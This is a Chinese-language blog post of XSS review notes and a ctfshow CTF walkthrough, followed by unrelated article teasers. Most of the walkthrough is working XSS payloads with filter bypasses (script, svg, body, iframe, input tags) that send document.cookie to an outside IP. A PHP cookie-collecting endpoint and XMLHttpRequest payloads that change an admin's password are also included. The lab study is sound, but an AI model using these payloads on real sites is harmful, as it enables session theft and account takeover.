xss复习总结及ctfshow做题总结xss

xss复习总结

知识点

1.XSS 漏洞简介

​ XSS又叫CSS(Cross Site Script)跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

​ xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。

常见的输出函数有: echo printf print print_r sprintf die var-dump var_export.

2.XSS的原理

攻击者对含有漏洞的服务器发起XSS攻击(注入JS代码)。

诱使受害者打开受到攻击的服务器URL。

受害者在Web浏览器中打开URL,恶意脚本执行。

3.XSS的攻击方式

反射型XSS:<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。一般是后端代码进行处理

存储型XSS:<持久化> 代码是存储在服务器数据库中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。

DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。一般是浏览器前端代码进行处理。

4.XSS的危害

1.挂马

2.盗取用户Cookie。

3.DOS(拒绝服务)客户端浏览器。

4.钓鱼攻击,高级的钓鱼技巧。

5.删除目标文章、恶意篡改数据、嫁祸。

6.劫持用户Web行为,甚至进一步渗透内网。

7.爆发Web2.0蠕虫。

8.蠕虫式的DDoS攻击。

9.蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据

10.其它安全问题

5.XSS的利用方式

1.需要一个xss平台来收集cookie

2. 对于反射型xss可构造链接,当用户点击时,用户cookie被发送到xss平台

3. 窃取用户cooike之后加以利用

可以基于xss平台进行利用

思维导图

漏洞概述

漏洞分类

防御

示例ctfshow

反射型(316-326)

316

写入<script>alert('1');</script>,可以弹框

本地服务器接受xss触发的cookie

<?php

echo 'hello';

if(isset($_GET['cookie'])) {

    $cookie = $_GET['cookie'];

    

    // 过滤和清理用户输入

    $cookie = htmlspecialchars($cookie); // 过滤特殊字符

    // 其他可能的过滤和验证

    // 写入文件

    $myfile = fopen('cookie.txt', 'a');

    if ($myfile !== false) {

        fwrite($myfile, $cookie."\n");

        fclose($myfile);

        echo 'Cookie 已成功写入文件。';

    } else {

        echo '无法打开文件进行写入。';

    }

} else {

    echo '未提供 cookie 数据。';

}

?>

<script>window.location.href='http://服务器IP/cookie.php?cookie='+document.cookie</script>

<script>window.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie</script>

服务器接受成功

PHPSESSID=mmp10nlblsrf6lm1mhgvrrnr4v; flag=ctfshow{6b0e3e74-33cf-46f9-860f-b482350a15ab}

317

过滤掉了script,可以使用onload+svg标签

<svg οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">

PHPSESSID=p5080si0q6no6arse5ohqsn9i6; flag=ctfshow{7b5527bf-40ce-4c7a-9b60-7b5e90536e35}

318

使用onload+body 标签

姿势:

<body οnlοad="document.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie"></body>

可以使用onload+svg标签

<svg οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">

PHPSESSID=i451q1hknod0tu85ns14bsbe9i; flag=ctfshow{cd22ca42-f597-454c-99d9-e6a34d72adb2}

319

iframe 标签

<iframe οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)"></iframe>

body标签

<body οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">

input标签

<input οnfοcus="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)" autofocus>

PHPSESSID=4v9o95apn13jh1v0olsd4n95cn; flag=ctfshow{642da7b3-a0df-43fe-8b64-758f2c14b4d7}

320

空格过滤了 过滤了script,img,空格

/绕过空格

Iframe标签

<svg/οnlοad="window.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie">

PHPSESSID=ucoi08m9uacje2uj026alrdigt; flag=ctfshow{08fc1a0f-9bf6-49e9-a1ed-27fada2cb476}

321-326

这些关卡可以用以前关卡的姿势触发xss

空格可以用  /   或/**/绕过

iframe 标签

<iframe οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)"></iframe>

body标签

<body οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">

input标签

<input οnfοcus="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)" autofocus>

script标签

<script>window.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie</script>

svg 标签

<svg οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">

327

内容写入

<script>window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)</script>

<input οnfοcus="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)" autofocus>

<body οnlοad="document.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie"></body>

返回网络繁忙

328

账号:aa

密码:

<script>window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)</script> 

修改cookie值

329

和web328一样 发现管理员cookie是随时变的 后端设置就是访问后cookie立马失效

随便注册一个用户

查看页面信息密码中的标签信息

layui-table-cell laytable-cell-1-0-1

在注册一个用户

密码:

<script>

$('.laytable-cell-1-0-1').each(function(index,value){

    if(value.innerHTML.indexOf('ctf'+'show{')>-1){

        window.location.href='http://8.130.28.124/cookie.php?cookie='+value.innerHTML;

    }

});

</script>

330

Bp抓取修改密码的数据包

再注册

<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>

window.location.href 表示当前页面的 URL 地址 设置的新 URL 是 'http://127.0.0.1/api/change?p=123',它是一个 API 的地址,其中 p 参数的值为 123 当浏览器加载这个 JavaScript 脚本时,它会立即将当前页面重定向到该 API 地址,并带上参数 p=123。在重定向完成后,页面将会显示 API 返回的内容 管理员访问的肯定是本地的api接口 所以用127.0.0.1

这个js脚本作为密码 随便创建一个用户 (题目默认BOT会隔一段时间访问账号密码页面 从而实现了管理员点击事件)

331

Bp抓取修改密码的数据包

是post请求

请求模板

var httpRequest = new XMLHttpRequest();//第一步:创建需要的对象

httpRequest.open('POST', 'url', true); //第二步:打开连接

httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设置请求头 注:post方式必须设置请求头(在建立连接后设置请求头)

httpRequest.send('name=teswe&ee=ef');//发送请求 将情头体写在send中

/**

* 获取数据后的处理程序

*/

httpRequest.onreadystatechange = function () {//请求后的回调接口,可将请求成功后要执行的程序写在其中

    if (httpRequest.readyState == 4 && httpRequest.status == 200) {//验证请求是否发送成功

        var json = httpRequest.responseText;//获取到服务端返回的数据

        console.log(json);

    }

};

构造

<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=123456');</script>


ctfshow{4e99b8d9-a969-4940-82ab-3e23777b46d1}

332

逻辑漏洞

转账负数

333

这次加了一点限制,就是转出的金额的绝对值不能比余额大,就是多转几次。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/46851.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

软考从报考到拿到证书的过程

一、报考阶段及参加考试阶段 这个阶段可以留意软考官网的的信息&#xff0c;一般上半年是3月份报名、5月份考试&#xff1b;下半年是8月份报名、11月份考试。以下是这个阶段会用到的链接&#xff0c;保持关注就好。 软考官网&#xff1a;中国计算机技术职业资格网 (ruankao.o…

六、 SpringBoot 配置⽂件 ★ ✔【value的引号注意事项、@ConfigurationProperties 、】

六、 SpringBoot 配置⽂件 本节⽬标1. 配置⽂件作⽤2. 配置⽂件快速⼊⼿3. 配置⽂件的格式4. properties 配置⽂件说明4.1 properties 基本语法4.2 读取配置⽂件4.3 properties 缺点分析 5. yml 配置⽂件说明5.1 yml 基本语法5.2 yml 使⽤进阶5.2.1 yml 配置不同数据类型及 nul…

【GD32】从零开始学GD32单片机 | WDGT看门狗定时器+独立看门狗和窗口看门狗例程(GD32F470ZGT6)

1. 简介 看门狗从本质上来说也是一个定时器&#xff0c;它是用来监测硬件或软件的故障的&#xff1b;它的工作原理大概就是开启后内部定时器会按照设置的频率更新&#xff0c;在程序运行过程中我们需不断地重装载看门狗&#xff0c;以使它不溢出&#xff1b;如果硬件或软件发生…

Vue实现滚动元素始终固定在最底部

1. 应用场景——聊天 在聊天的时候&#xff0c;展示聊天内容的元素是可以滚动的&#xff0c;通过上下滚动来查看过往消息。不过在首次打开聊天页面以及发送新消息时需要固定在滚动的最底部以及时展示最新的消息&#xff0c;这样才能获得比较好的用户体验。 效果&#xff1a; …

C++——类和对象(下)

文章目录 一、再探构造函数——初始化列表二、 类型转换三、static成员静态成员变量静态成员函数 四、 友元友元函数友元类 五、内部类六、匿名对象 一、再探构造函数——初始化列表 之前我们实现构造函数时&#xff0c;初始化成员变量主要使⽤函数体内赋值&#xff0c;构造函…

PostgreSQL使用(二)

说明&#xff1a;本文介绍PostgreSQL的DML语言&#xff1b; 插入数据 -- 1.全字段插入&#xff0c;字段名可以省略 insert into tb_student values (1, 张三, 1990-01-01, 88.88);-- 2.部分字段插入&#xff0c;字段名必须写全 insert into tb_student (id, name) values (2,…

【后端开发实习】用Redis实现消息队列邮件发送

简介 用Resi本身封装的方法相比于调redis-smq库&#xff0c;实现方式就要简单朴素很多&#xff1a; 调用redis本身的List数据结构的Lpush实现消息的进队。用Redis的List数据结构的brpop方法实现消息的出队。将出队消息通过邮件方法发送给指定的用户。 生动形象理解就是用redi…

《javeEE篇》--多线程(1)

进程 在讲线程之前我们先来简单了解一下进程 什么是进程 进程是操作系统对一个正在运行的程序的一种抽象&#xff0c;又或者说&#xff0c;可以把进程看作程序的一次运行过程(通俗的讲就是跑起来的程序)。 而且在操作系统内部&#xff0c;进程是资源分配的基本单位 PCB P…

内容长度不同的div如何自动对齐展示

平时我们经常会遇到页面内容div结构相同页&#xff0c;这时为了美观我们会希望div会对齐展示&#xff0c;但当div里的文字长度不一时又不想写固定高度&#xff0c;就会出现div长度长长短短&#xff0c;此时实现样式可以这样写&#xff1a; .e-commerce-Wrap {display: flex;fle…

轻量级自适用商城卡密发卡源码(可运营)

一款全开源非常好看的发卡源码。轻量级自适应个人自助发卡简介&#xff0c;这是一款二次开发的发卡平台源码修复原版bug,删除无用的代码。所有文件全部解密&#xff0c;只保留后台版权信息内容。大家放心使用&#xff0c;可以用于商业运营。轻量级自适应个人自助发卡。 源码下…

写python代码,怎么用工厂模式思维设计接口?

接口的好处 接口就是抽象方法&#xff0c;用来设计后架构&#xff0c;后端开发者和客户端调用者都可以使用这个接口规则同步写代码&#xff0c;客户端调用者&#xff08;app、网页甚至时自动化接口测试&#xff09;不用担心后端对接口的实现细节具体是什么样子的。直接去调用就…

获取欧洲时报中国板块前新闻数据(多线程版)

这里写目录标题 一.数据获取流程二.获取主页面数据并提取出文章url三.获取文章详情页的数据并提取整体代码展示 一.数据获取流程 我们首先通过抓包就能够找到我们所需数据的api 这里一共有五个参数其中只有第一个和第五个参数是变化的第一个参数就是第几页第五个是一个由时…

Qt 多窗体、复用窗口的使用

1.继承自QWidge的窗口的呈现&#xff0c;作为tabPage呈现&#xff0c;作为独立窗口呈现 2.继承自QMainWindow的窗口的呈现&#xff0c;作为abPage呈现&#xff0c;作为独立窗口呈现 1. 继承自QWidge的窗口的呈现 1.1 作为tabPage呈现 void MutiWindowExample::on_actWidgetI…

云计算数据中心(一)

目录 一、云数据中心的特征二、云数据中心网络部署&#xff08;一&#xff09;改进型树结构&#xff08;二&#xff09;递归层次结构&#xff08;三&#xff09;光交换网络&#xff08;四&#xff09;无线数据中心网络&#xff08;五&#xff09;软件定义网络 一、云数据中心的…

java 项目使用 acitiviti 流程引擎中的人员设置

学习目标&#xff1a; 目标 [ ]了解 java 项目使用 acitiviti 流程引擎中的人员设置 知识小记&#xff1a; - [x] 1、人员选择说明 - [x] 2、分配任务候选人 任务的候选人是指有权限对该任务进行操作的潜在用户群体&#xff0c;这个用户群体有权限处理(处理、完成)该任务…

最多可以派出多少支球队

最多可以派出多少支球队 解决“最多可以派出多少支球队”的问题需要准确理解题目要求&#xff0c;选择合适的算法&#xff08;如贪心算法和双指针技术&#xff09;&#xff0c;并注意对原始数据进行适当的预处理&#xff08;如排序&#xff09;。在编程实现过程中&#xff0c;有…

MySQL索引重要知识点

1.什么是索引&#xff1f; 索引在项目中是比较常见的&#xff0c;它是帮助MySQL高效获取数据的数据结构&#xff0c;主要是用来提高数据检索的效率&#xff0c;降低数据库的I0成本&#xff0c;同时通过索引列对数据进行排序&#xff0c;降低数据排序的成本&#xff0c;也能降低…

java.sql.SQLException: Unknown system variable ‘query_cache_size‘【Pyspark】

1、问题描述 学习SparkSql中&#xff0c;将spark中dataframe数据结构保存为jdbc的格式并提交到本地的mysql中&#xff0c;相关代码见文章末尾。 运行代码时报出相关配置文件错误&#xff0c;如下。 根据该报错&#xff0c;发现网络上多数解决方都是基于java开发的解决方案&a…

uniapp字符串转base64,无需导入依赖(多端支持)

使用示例 import { Base64Encode, Base64Decode } from "@/utils/base64.js" base64.js const _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";export const Base64Encode = (text)

网络准入控制设备是什么?有哪些?网络准入设备臻品优选

小李&#xff1a;“小张&#xff0c;最近公司网络频繁遭遇外部攻击&#xff0c;我们得加强一下网络安全了。” 小张&#xff1a;“是啊&#xff0c;我听说实施网络准入控制是个不错的选择。但具体什么是网络准入控制设备&#xff1f;我们有哪些选择呢&#xff1f;” 小李微笑…